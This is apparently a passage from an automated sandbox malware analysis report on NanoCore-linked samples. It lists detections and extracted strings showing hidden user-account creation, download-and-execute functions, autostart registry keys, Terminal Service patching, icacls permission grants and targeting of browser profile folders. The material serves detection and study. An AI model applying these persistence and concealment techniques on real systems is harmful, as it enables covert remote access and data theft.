Source: Binary string: wuser32.pdb source: images.exe, 00000016.00000002.481006617.0000000004240000.00000040.00000001.sdmp
Source: Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: KetqqsbuJ.exe, 00000028.00000002.483194992.0000000006C40000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: KetqqsbuJ.exe, 00000028.00000002.477157085.0000000002D0B000.00000004.00000001.sdmp
Source: Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: KetqqsbuJ.exe, 00000028.00000002.483052985.0000000006AB0000.00000004.00000001.sdmp
Source: Binary string: wuser32.pdbUGP source: images.exe, 00000016.00000002.481006617.0000000004240000.00000040.00000001.sdmp
Source: Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: KetqqsbuJ.exe, 00000028.00000002.483164345.0000000006C30000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: KetqqsbuJ.exe, 00000028.00000002.483125552.0000000006C10000.00000004.00000001.sdmp

Data Obfuscation:

barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\ProgramData\images.exe Unpacked PE file: 22.2.images.exe.4240000.5.unpack
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_004060B0 LoadLibraryA,GetProcAddress,ExitProcess, 7_2_004060B0
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 5_2_00084625 push esi; ret 5_2_00084626
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 6_2_000F4625 push esi; ret 6_2_000F4626
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_004011C0 push eax; ret 7_2_004011D4
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_004011C0 push eax; ret 7_2_004011FC
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0041C225 pushad ; retn 0041h 7_2_0041C22D
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_004174D1 push ebp; retf 7_2_00417584
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00417570 push ebp; retf 7_2_00417584
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00764625 push esi; ret 7_2_00764626
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_004F4625 push ds; ret 40_2_004F4626
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEE0F0 push edx; retn 0002h 40_2_02BEE312
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEE36F push edx; retn 0002h 40_2_02BEE372
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEE349 push edx; retn 0002h 40_2_02BEE34A
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEE471 push ebx; retn 0002h 40_2_02BEE472
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BE8A70 push ss; retn B402h 40_2_02BE8B82
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BE8A61 push ss; retn 0002h 40_2_02BE8A62
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEEDB9 push esi; retn 0002h 40_2_02BEEDBA
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BEED89 push esi; retn 0002h 40_2_02BEED8A
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BE93D9 push ds; retn 0002h 40_2_02BE93DA
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BE9660 push ds; retn 0002h 40_2_02BE9662
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BE7A80 push cs; retn 0002h 40_2_02BE7C62
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_02BE7A71 push cs; retn 0002h 40_2_02BE7A72
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_050AB5EC push eax; retf 40_2_050AB5ED
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 40_2_050A69F8 pushad ; retf 40_2_050A69F9
Source: initial sample Static PE information: section name: .text entropy: 7.55041675876
Source: initial sample Static PE information: section name: .text entropy: 7.55041675876
Source: initial sample Static PE information: section name: .text entropy: 7.57991184815
Source: initial sample Static PE information: section name: .text entropy: 7.57991184815
Source: initial sample Static PE information: section name: .text entropy: 7.57991184815

Persistence and Installation Behavior:

barindex
Contains functionality to create new users
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040D2B8 NetUserAdd,NetLocalGroupAddMembers, 7_2_0040D2B8
Contains functionality to download and launch executables
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040290E URLDownloadToFileW,ShellExecuteW, 7_2_0040290E
Drops PE files
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe File created: C:\ProgramData\images.exe Jump to dropped file
Source: C:\ProgramData\images.exe File created: C:\Program Files\Microsoft DN1\sqlmap.dll Jump to dropped file
Source: C:\ProgramData\images.exe File created: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Jump to dropped file
Source: C:\ProgramData\images.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\microC[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe File created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe File created: C:\ProgramData\images.exe Jump to dropped file
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040A36F lstrcatW,GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW, 7_2_0040A36F
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00413695 CreateDesktopW,AssocQueryStringW,PathFindFileNameW,CharLowerW,PathFindFileNameW,CharLowerW,SHFileOperationW,CreateDirectoryW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateProcessW,CreateProcessW,SHFileOperationW,CreateDirectoryW,GetPrivateProfileStringW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateFileW,WriteFile,CloseHandle,CreateProcessW,GetPrivateProfileStringW,CreateFileW,WriteFile,CloseHandle,CreateProcessW,CreateProcessW,CreateProcessW, 7_2_00413695

Boot Survival:

barindex
Creates an undocumented autostart registry key
Source: C:\Windows\SysWOW64\reg.exe Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Load Jump to behavior
Creates or modifies windows services
Source: C:\Windows\system32\drivers\tsusbhub.sys Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tsusbhub\Parameters\Wdf Jump to behavior
Modifies existing windows services
Source: C:\ProgramData\images.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040D3A8 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,GetLastError,Sleep,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 7_2_0040D3A8

Hooking and other Techniques for Hiding and Protection:

barindex
Contains functionality to hide user accounts
Source: Xjf4yH9N2t.exe String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: Xjf4yH9N2t.exe, 00000007.00000003.248801127.0000000000FD9000.00000004.00000001.sdmp String found in binary or memory: 0.rudp\ICACLS.exe\xcopy.exe "" /GRANT:r *S-1-1-0:(OI)(CI)F /T\AppData\Local\Google\AppData\Local\Google\xcopy.exe /Y /E /C \AppData\Roaming\Mozilla\AppData\Roaming\Mozilla\\AppData\Roaming\Microsoft\AppData\Roaming\Microsoft\\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameTypemultirdp[experimental] patch Terminal Server service to allow multiples userstermsrv.dllexplorer.exeTASKmgr.exeProcessHacker.exeregedit.exentdll.dllLdrGetProcedureAddressRtlNtStatusToDosErrorRtlSetLastWin32ErrorNtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryLdrLoadDllRtlCreateUserThread
Source: images.exe, 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: images.exe, 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp String found in binary or memory: 0.rudp\ICACLS.exe\xcopy.exe "" /GRANT:r *S-1-1-0:(OI)(CI)F /T\AppData\Local\Google\AppData\Local\Google\xcopy.exe /Y /E /C \AppData\Roaming\Mozilla\AppData\Roaming\Mozilla\\AppData\Roaming\Microsoft\AppData\Roaming\Microsoft\\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameTypemultirdp[experimental] patch Terminal Server service to allow multiples userstermsrv.dllexplorer.exeTASKmgr.exeProcessHacker.exeregedit.exentdll.dllLdrGetProcedureAddressRtlNtStatusToDosErrorRtlSetLastWin32ErrorNtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryLdrLoadDllRtlCreateUserThread
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe File opened: C:\ProgramData\images.exe:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe File opened: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe:Zone.Identifier read attributes | delete Jump to behavior
Hides user accounts
Source: C:\ProgramData\images.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList jjIFKkt Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
